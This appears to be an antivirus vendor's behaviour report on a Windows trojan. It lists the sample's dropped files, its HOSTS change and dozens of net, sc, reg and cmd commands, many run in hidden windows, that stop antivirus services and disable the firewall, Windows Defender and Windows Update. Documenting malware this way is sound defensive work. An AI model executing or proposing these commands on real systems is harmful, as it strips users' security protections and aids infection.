Technical Information
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Firewall
- Windows Update
- Windows Defender
Executes the following
- '%WINDIR%\syswow64\net.exe' stop shaRedaccess
- '%WINDIR%\syswow64\net.exe' stop NOD32krn
- '%WINDIR%\syswow64\net.exe' stop SENS
- '%WINDIR%\syswow64\net.exe' stop McShield
- '%WINDIR%\syswow64\net.exe' stop KPfwSvc
- '%WINDIR%\syswow64\net.exe' stop Norton AntiVirUs Server
- '%WINDIR%\syswow64\net.exe' stop KWatchsvc
Modifies file system
Creates the following files
- %WINDIR%\svchost.$$a
- %WINDIR%\_isdel.$$a
- %TEMP%\win32.exe
Deletes the following files
- %WINDIR%\_isdel.exe
Moves the following files
- from %WINDIR%\svchost.$$a to %WINDIR%\svchost.exe
- from %WINDIR%\_isdel.$$a to %WINDIR%\_isdel.exe
Modifies the HOSTS file.
Network activity
UDP
- 'localhost':56847
- 'localhost':52665
Miscellaneous
Searches for the following windows
- ClassName: 'InstItClass' WindowName: ''
Creates and executes the following
- '%WINDIR%\_isdel.exe'
- '%TEMP%\win32.exe' %WINDIR%\_isdel.exe
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c net stop SENS
- '%WINDIR%\syswow64\net1.exe' stop NOD32krn
- '%WINDIR%\syswow64\cmd.exe' /c del %SystemRoot% system32 updeta.exe
- '%WINDIR%\syswow64\net1.exe' stop shaRedaccess
- '%WINDIR%\syswow64\sc.exe' config SharedAccess start= disabled
- '%WINDIR%\syswow64\sc.exe' config Alg start= disabled
- '%WINDIR%\syswow64\sc.exe' stop alg
- '%WINDIR%\syswow64\cmd.exe' /c net stop KPfwSvc
- '%WINDIR%\syswow64\cmd.exe' /c net stop Norton AntiVirUs Server
- '%WINDIR%\syswow64\cmd.exe' /c net stop McShield
- '%WINDIR%\syswow64\cmd.exe' /c net stop KWatchsvc
- '%WINDIR%\syswow64\net1.exe' stop KWatchsvc
- '%WINDIR%\syswow64\cmd.exe' /c net stop SharedAccess
- '%WINDIR%\syswow64\net1.exe' stop SENS
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "EnableFirewall" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "EnableFirewall" /t REG_DWORD /d "0" /f
- '%WINDIR%\syswow64\net1.exe' stop McShield
- '%WINDIR%\syswow64\sc.exe' config SENS start= disabled
- '%WINDIR%\syswow64\sc.exe' stop AVGFwSrv
- '%WINDIR%\syswow64\sc.exe' config MpsSvc start= disabled
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= disabled
- '%WINDIR%\syswow64\sc.exe' stop WinDefend
- '%WINDIR%\syswow64\sc.exe' stop Avg7UpdSvc
- '%WINDIR%\syswow64\sc.exe' stop MpsSvc
- '%WINDIR%\syswow64\sc.exe' stop NOD32krn
- '%WINDIR%\syswow64\net1.exe' stop KPfwSvc
- '%WINDIR%\syswow64\sc.exe' stop SharedAccess
- '%WINDIR%\syswow64\cmd.exe' /c net stop NOD32krn
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\net1.exe' stop Norton AntiVirUs Server
- '%WINDIR%\syswow64\sc.exe' config SharedAccess start= disabled' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v "EnableFirewall" /t REG_DWORD /d "0" /f' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop WinDefend' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop NOD32krn' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop SharedAccess' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop MpsSvc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop KPfwSvc' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= disabled' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop SharedAccess' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop AVGFwSrv' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop wuauserv' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop Avg7UpdSvc' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config MpsSvc start= disabled' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config SENS start= disabled' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop alg' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop KWatchsvc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop McShield' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop Norton AntiVirUs Server' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' stop NOD32krn' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c del %SystemRoot% system32 updeta.exe' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config wuauserv start= disabled' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop SENS' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' config Alg start= disabled' (with hidden window)
- '%TEMP%\win32.exe' %WINDIR%\_isdel.exe' (with hidden window)
